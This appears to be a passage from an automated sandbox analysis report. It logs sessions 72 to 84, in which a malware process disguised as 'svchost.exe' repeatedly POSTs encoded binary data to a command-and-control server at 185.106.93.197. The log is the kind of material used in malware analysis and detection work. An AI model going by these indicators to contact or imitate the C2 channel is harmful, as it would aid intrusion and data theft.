                                                                      Aug 28, 2024 11:18:23.659755945 CEST2512OUTData Raw: 5e 50 5e 5b 5d 5a 59 56 5b 57 5a 59 52 59 54 52 54 5f 5e 58 57 53 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P^[]ZYV[WZYRYTRT_^XWSZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/2:(?4.?&[ ( T9.V 8(]&<%(5![?)"Y %X!7
                                                                      Aug 28, 2024 11:18:24.018095016 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:24.154047012 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:23 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      72192.168.2.760179185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:24.287548065 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:24.644063950 CEST2512OUTData Raw: 5e 51 5e 5d 5d 58 5c 55 5b 57 5a 59 52 5b 54 56 54 58 5e 5a 57 57 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^]]X\U[WZYR[TVTX^ZWWZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"82?'7(^&0Y"4.+"Q#([0)<)!Z"+9"Y %X!
                                                                      Aug 28, 2024 11:18:24.948430061 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:25.078155994 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:24 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      73192.168.2.760180185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:25.209482908 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:25.565965891 CEST2512OUTData Raw: 5b 51 5b 5b 58 5a 59 53 5b 57 5a 59 52 5d 54 55 54 51 5e 5b 57 57 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q[[XZYS[WZYR]TUTQ^[WWZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,-(8;#2[ ; U,814+#'5+9!?>+"Y %X!'
                                                                      Aug 28, 2024 11:18:25.857410908 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:25.988428116 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:25 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      74192.168.2.760181185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:26.113666058 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      75192.168.2.760182185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:26.149777889 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:26.503432035 CEST1844OUTData Raw: 5b 56 5e 5e 5d 51 5c 51 5b 57 5a 59 52 5b 54 51 54 5d 5e 5a 57 54 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^^]Q\Q[WZYR[TQT]^ZWTZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,"( $^'93"('98"Q!8X0<)<9&X!Z*(9"Y %X!
                                                                      Aug 28, 2024 11:18:26.808667898 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:26.936707973 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:26 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5c 34 3d 33 50 26 23 3b 00 2e 38 36 1d 29 2c 38 5e 29 21 24 5f 27 3d 27 0b 33 01 24 1c 24 16 38 1b 33 32 03 5e 33 2e 37 50 26 36 2d 5f 06 11 26 18 23 2b 22 04 2d 31 20 1c 3e 03 2b 01 21 00 09 5b 2a 20 3d 1e 35 2e 20 07 3e 12 08 50 2d 32 22 0c 29 5c 31 03 2f 2e 33 09 26 2a 21 52 0c 17 22 57 29 3a 30 5b 23 2b 35 0d 24 0b 33 1e 20 06 3e 0e 24 11 20 08 27 03 30 56 2a 2b 34 53 25 00 05 0f 31 38 2a 04 27 2f 38 0a 3a 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $\4=3P&#;.86),8^)!$_'='3$$832^3.7P&6-_&#+"-1 >+![* =5. >P-2")\1/.3&*!R"W):0[#+5$3 >$ '0V*+4S%18*'/8:9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      76192.168.2.760183185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:26.270201921 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:26.628571033 CEST2512OUTData Raw: 5b 5a 5e 59 5d 5d 5c 50 5b 57 5a 59 52 59 54 5d 54 5d 5e 58 57 50 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z^Y]]\P[WZYRYT]T]^XWPZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;"-?+4_4.]2*+6(T-97;$<55_<"Y %X!7
                                                                      Aug 28, 2024 11:18:26.943495035 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:27.076499939 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:26 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      77192.168.2.760184185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:27.206300020 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:27.550483942 CEST2512OUTData Raw: 5e 57 5b 5e 5d 51 59 54 5b 57 5a 59 52 5d 54 57 54 5c 5e 5a 57 56 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W[^]QYT[WZYR]TWT\^ZWVZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@8)+, 1_ _" .]"V78]3<*()*"Z!\<"Y %X!'
                                                                      Aug 28, 2024 11:18:27.845487118 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:28.113451004 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:27 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:28.113464117 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:27 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      78192.168.2.760185185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:28.241769075 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:28.597361088 CEST2512OUTData Raw: 5b 51 5e 5c 5d 5a 5c 56 5b 57 5a 59 52 55 54 51 54 58 5e 53 57 56 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^\]Z\V[WZYRUTQTX^SWVZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D8"_(;4] =?29$!<S:&R 803?"<:5=?)"Y %X!
                                                                      Aug 28, 2024 11:18:28.918766022 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:29.048542023 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:28 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      79192.168.2.760186185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:29.176078081 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:29.534729004 CEST2512OUTData Raw: 5b 50 5e 5b 5d 5b 59 55 5b 57 5a 59 52 5f 54 51 54 5d 5e 5f 57 57 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^[][YU[WZYR_TQT]^_WWZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";2%?^+!>17!$-;* <Z3/6Z+:!!5\*)"Y %X!/
                                                                      Aug 28, 2024 11:18:29.868899107 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:30.017644882 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:29 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      80192.168.2.760187185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:30.146979094 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:30.503473997 CEST2512OUTData Raw: 5b 5a 5b 58 5d 5d 59 52 5b 57 5a 59 52 59 54 52 54 59 5e 53 57 57 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z[X]]YR[WZYRYTRTY^SWWZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/1:(#7>#%?"(R-;- ;,Y3/2(*&Z6<)\*9"Y %X!7
                                                                      Aug 28, 2024 11:18:30.813158989 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:30.940809965 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:30 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      81192.168.2.760188185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:31.133234024 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:31.487853050 CEST2512OUTData Raw: 5e 57 5b 5c 5d 5e 5c 57 5b 57 5a 59 52 5e 54 5c 54 59 5e 5a 57 5f 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W[\]^\W[WZYR^T\TY^ZW_ZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,"%<;!-<X&_ 68?-+P 8,$/!+%6,!+"Y %X!+
                                                                      Aug 28, 2024 11:18:31.836446047 CEST25INHTTP/1.1 100 Continue


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      82192.168.2.760189185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:31.946882010 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:32.300422907 CEST1844OUTData Raw: 5b 57 5b 5c 5d 50 5c 51 5b 57 5a 59 52 58 54 53 54 5a 5e 5d 57 54 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W[\]P\Q[WZYRXTSTZ^]WTZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";29?+ ] >#%_,X5;?:> ^8]$/)+95Z9^+"Y %X!3
                                                                      Aug 28, 2024 11:18:32.596257925 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:32.728393078 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:32 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5e 37 03 2c 0e 32 23 2c 13 38 3b 35 0c 29 3c 34 13 29 32 3c 5f 30 2e 30 1d 24 38 3c 12 24 01 30 1a 27 31 31 5c 30 5b 3b 56 24 36 2d 5f 06 11 26 1b 20 16 2e 07 38 0c 27 0c 29 2d 28 13 23 3e 20 05 2b 23 0f 1f 21 2e 2c 06 3e 3c 03 08 38 08 32 0a 2a 04 2a 16 2f 3e 2b 0a 32 00 21 52 0c 17 22 57 29 39 23 05 37 5e 3e 53 33 0c 33 1f 23 3f 3e 0d 24 01 34 0f 30 04 02 1e 2b 01 34 53 31 3e 0e 1f 25 28 26 02 25 2f 34 09 2d 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $^7,2#,8;5)<4)2<_0.0$8<$0'11\0[;V$6-_& .8')-(#> +#!.,><82**/>+2!R"W)9#7^>S33#?>$40+4S1>%(&%/4-9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      83192.168.2.760190185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:32.071152925 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:32.425432920 CEST2512OUTData Raw: 5e 57 5e 5d 5d 59 59 53 5b 57 5a 59 52 5e 54 56 54 51 5e 5b 57 5e 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^]]YYS[WZYR^TVTQ^[W^ZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/-<^<7$1_ !;,T-#;$\3<*9!,("Y %X!+
                                                                      Aug 28, 2024 11:18:32.726872921 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:32.862483978 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:32 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      84192.168.2.760191185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:33.003870010 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
